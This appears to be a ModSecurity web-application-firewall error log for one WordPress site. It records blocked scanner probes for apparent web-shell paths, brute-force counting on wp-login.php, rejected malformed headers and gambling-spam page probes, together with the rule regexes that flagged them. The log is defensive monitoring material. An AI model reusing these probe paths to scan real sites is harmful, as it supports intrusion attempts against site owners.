[Tue Feb 17 04:57:44.445364 2026] [:error] [pid 58552:tid 58616] [client 20.203.180.135:29812] [client 20.203.180.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZOEyDBHVJP2Oz3yR5fLigAAAFU"]
[Tue Feb 17 04:57:54.500910 2026] [:error] [pid 58551:tid 58580] [client 20.203.180.135:9958] [client 20.203.180.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZOE0q1t8eWr-MgFsppQNgAAABQ"]
[Tue Feb 17 04:58:11.327626 2026] [:error] [pid 58552:tid 58616] [client 20.203.180.135:21321] [client 20.203.180.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOE4zBHVJP2Oz3yR5fLwAAAAFU"]
[Tue Feb 17 04:58:25.530177 2026] [:error] [pid 32790:tid 32801] [client 20.203.180.135:4656] [client 20.203.180.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/about.php"] [unique_id "aZOE8Xs3HJP9ozPHsN60LwAAAQc"]
[Tue Feb 17 05:23:19.126807 2026] [:error] [pid 32790:tid 32800] [client 103.77.106.246:61021] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZOKx3s3HJP9ozPHsN7BkAAAAQY"]
[Tue Feb 17 06:22:21.505739 2026] [:error] [pid 58552:tid 58609] [client 103.77.106.246:61636] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZOYnTBHVJP2Oz3yR5frrwAAAE4"]
[Tue Feb 17 07:20:14.159564 2026] [:error] [pid 32790:tid 32807] [client 103.77.106.246:54026] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZOmLns3HJP9ozPHsN4GlQAAAQ0"]
[Tue Feb 17 08:17:46.316916 2026] [:error] [pid 58558:tid 58631] [client 103.77.106.246:50254] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZOzqimIxlfUL2nViZzwZwAAAIk"]
[Tue Feb 17 09:16:19.270804 2026] [:error] [pid 58558:tid 58632] [client 103.77.106.246:51768] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZPBYymIxlfUL2nViZwNtQAAAIo"]
[Tue Feb 17 09:36:45.746254 2026] [:error] [pid 58552:tid 58598] [client 170.106.35.187:53184] [client 170.106.35.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZPGLTBHVJP2Oz3yR5dDowAAAEM"]
[Tue Feb 17 10:15:34.215283 2026] [:error] [pid 32790:tid 32798] [client 103.77.106.246:51216] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZPPRns3HJP9ozPHsN54QAAAAQQ"]
[Tue Feb 17 10:54:59.324267 2026] [:error] [pid 58659:tid 58673] [client 49.51.141.76:46314] [client 49.51.141.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZPYg8DX32iTEO4jt2-CowAAAMw"]
[Tue Feb 17 11:19:00.558706 2026] [:error] [pid 58551:tid 58568] [client 103.77.106.246:63461] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZPeJK1t8eWr-MgFsprudwAAAAg"]
[Tue Feb 17 12:18:54.538708 2026] [:error] [pid 58558:tid 58624] [client 167.71.244.81:51029] [client 167.71.244.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZPsLimIxlfUL2nViZxdfQAAAII"]
[Tue Feb 17 12:19:31.630340 2026] [:error] [pid 58659:tid 58665] [client 103.77.106.246:52723] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZPsU8DX32iTEO4jt2-t-gAAAMQ"]
[Tue Feb 17 13:17:38.197723 2026] [:error] [pid 58552:tid 58609] [client 103.77.106.246:58110] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZP58jBHVJP2Oz3yR5eeBAAAAE4"]
[Tue Feb 17 13:20:01.874986 2026] [:error] [pid 32790:tid 32799] [client 130.95.40.97:61806] [client 130.95.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.95.40.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZP6gXs3HJP9ozPHsN7l0gAAAQU"]
[Tue Feb 17 13:20:06.470170 2026] [:error] [pid 32790:tid 32806] [client 130.95.40.97:49859] [client 130.95.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.95.40.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZP6hns3HJP9ozPHsN7l4AAAAQw"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F&reauth=1
[Tue Feb 17 13:20:07.642545 2026] [:error] [pid 32790:tid 32801] [client 130.95.40.97:49859] [client 130.95.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.95.40.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZP6h3s3HJP9ozPHsN7l4wAAAQc"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F&reauth=1
[Tue Feb 17 13:20:14.973816 2026] [:error] [pid 32790:tid 32796] [client 130.95.40.97:65309] [client 130.95.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 130.95.40.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZP6jns3HJP9ozPHsN7l9QAAAQI"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F&action=confirm_admin_email&wp_lang=en_US
[Tue Feb 17 14:17:09.095773 2026] [:error] [pid 58659:tid 58661] [client 103.77.106.246:61551] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZQH5cDX32iTEO4jt2_lfAAAAMA"]
[Tue Feb 17 14:35:11.411946 2026] [:error] [pid 58558:tid 58629] [client 175.6.217.4:41393] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZQMHymIxlfUL2nViZyVFQAAAIc"]
[Tue Feb 17 15:26:18.052206 2026] [:error] [pid 58659:tid 58680] [client 103.77.106.246:56736] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZQYGsDX32iTEO4jt28DRAAAANM"]
[Tue Feb 17 17:03:35.379104 2026] [:error] [pid 13106:tid 13115] [client 103.77.106.246:63057] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZQu57BEWrYCV-0FRdrd6AAAAUU"]
[Tue Feb 17 18:34:35.958661 2026] [:error] [pid 58551:tid 58566] [client 103.77.106.246:52504] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZREO61t8eWr-MgFspqBowAAAAY"]
[Tue Feb 17 19:40:47.661826 2026] [:error] [pid 58558:tid 58638] [client 217.182.195.179:52184] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZRTvymIxlfUL2nViZztswAAAJA"]
[Tue Feb 17 19:40:49.690528 2026] [:error] [pid 42555:tid 42563] [client 217.182.195.179:57922] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZRTwfCCGB-bBphvas21uwAAAYY"]
[Tue Feb 17 19:40:51.694150 2026] [:error] [pid 13106:tid 13130] [client 217.182.195.179:57924] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZRTw7BEWrYCV-0FRdoJ4wAAAVQ"]
[Tue Feb 17 19:40:53.649859 2026] [:error] [pid 13106:tid 13119] [client 217.182.195.179:57926] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZRTxbBEWrYCV-0FRdoJ5wAAAUk"]
[Tue Feb 17 19:40:55.810437 2026] [:error] [pid 58552:tid 58599] [client 217.182.195.179:57928] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZRTxzBHVJP2Oz3yR5csoQAAAEQ"]
[Tue Feb 17 19:40:57.759516 2026] [:error] [pid 58558:tid 58630] [client 217.182.195.179:57936] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZRTySmIxlfUL2nViZztuQAAAIg"]
[Tue Feb 17 19:40:59.725303 2026] [:error] [pid 2727:tid 2747] [client 217.182.195.179:34024] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZRTyyIYJerZs7d7DPt5wQAAApI"]
[Tue Feb 17 19:41:01.634102 2026] [:error] [pid 58558:tid 58643] [client 217.182.195.179:34040] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZRTzSmIxlfUL2nViZztwwAAAJU"]
[Tue Feb 17 19:41:03.580245 2026] [:error] [pid 58659:tid 58667] [client 217.182.195.179:34044] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZRTz8DX32iTEO4jt29JdAAAAMY"]
[Tue Feb 17 19:41:05.371098 2026] [:error] [pid 58551:tid 58565] [client 217.182.195.179:34058] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZRT0a1t8eWr-MgFspqWIgAAAAU"]
[Tue Feb 17 19:41:07.333137 2026] [:error] [pid 58551:tid 58578] [client 217.182.195.179:34062] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZRT061t8eWr-MgFspqWJgAAABI"]
[Tue Feb 17 19:41:09.245120 2026] [:error] [pid 58551:tid 58569] [client 217.182.195.179:51258] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZRT1a1t8eWr-MgFspqWJwAAAAk"]
[Tue Feb 17 19:41:11.329297 2026] [:error] [pid 58552:tid 58609] [client 217.182.195.179:51270] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZRT1zBHVJP2Oz3yR5csqwAAAE4"]
[Tue Feb 17 19:41:13.256777 2026] [:error] [pid 58659:tid 58663] [client 217.182.195.179:51278] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZRT2cDX32iTEO4jt29JfAAAAMI"]
[Tue Feb 17 19:41:15.037006 2026] [:error] [pid 2727:tid 2734] [client 217.182.195.179:51294] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZRT2yIYJerZs7d7DPt50AAAAoU"]
[Tue Feb 17 19:41:17.007315 2026] [:error] [pid 2575:tid 2589] [client 217.182.195.179:51298] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZRT3c0nHzM9JGTFE55tjAAAAcw"]
[Tue Feb 17 19:41:19.085673 2026] [:error] [pid 2606:tid 2652] [client 217.182.195.179:55058] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZRT31FV84PnUA8QSAioFQAAAlE"]
[Tue Feb 17 19:41:21.010041 2026] [:error] [pid 42555:tid 42558] [client 217.182.195.179:55066] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZRT4fCCGB-bBphvas21zwAAAYE"]
[Tue Feb 17 19:41:23.088363 2026] [:error] [pid 2727:tid 2750] [client 217.182.195.179:55082] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZRT4yIYJerZs7d7DPt50wAAApU"]
[Tue Feb 17 19:41:25.187395 2026] [:error] [pid 58552:tid 58614] [client 217.182.195.179:55088] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZRT5TBHVJP2Oz3yR5cstwAAAFM"]
[Tue Feb 17 19:41:27.220949 2026] [:error] [pid 58659:tid 58682] [client 217.182.195.179:55092] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZRT58DX32iTEO4jt29JiAAAANU"]
[Tue Feb 17 19:41:29.006035 2026] [:error] [pid 58552:tid 58605] [client 217.182.195.179:47032] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZRT6TBHVJP2Oz3yR5csugAAAEo"]
[Tue Feb 17 19:41:30.972430 2026] [:error] [pid 2605:tid 2614] [client 217.182.195.179:47046] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZRT6hliizaiVjfuA2B6dQAAAgY"]
[Tue Feb 17 19:41:32.763196 2026] [:error] [pid 2575:tid 2583] [client 217.182.195.179:47052] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZRT7M0nHzM9JGTFE55towAAAcY"]
[Tue Feb 17 19:41:34.578525 2026] [:error] [pid 2727:tid 2750] [client 217.182.195.179:47058] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZRT7iIYJerZs7d7DPt53gAAApU"]
[Tue Feb 17 19:41:36.407455 2026] [:error] [pid 58551:tid 58583] [client 217.182.195.179:47062] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZRT8K1t8eWr-MgFspqWNgAAABc"]
[Tue Feb 17 19:41:38.543093 2026] [:error] [pid 2575:tid 2581] [client 217.182.195.179:53688] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZRT8s0nHzM9JGTFE55tpgAAAcQ"]
[Tue Feb 17 19:41:40.341726 2026] [:error] [pid 2606:tid 2643] [client 217.182.195.179:53696] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZRT9FFV84PnUA8QSAioLwAAAkg"]
[Tue Feb 17 19:41:42.237330 2026] [:error] [pid 13106:tid 13114] [client 217.182.195.179:53704] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZRT9rBEWrYCV-0FRdoKDgAAAUQ"]
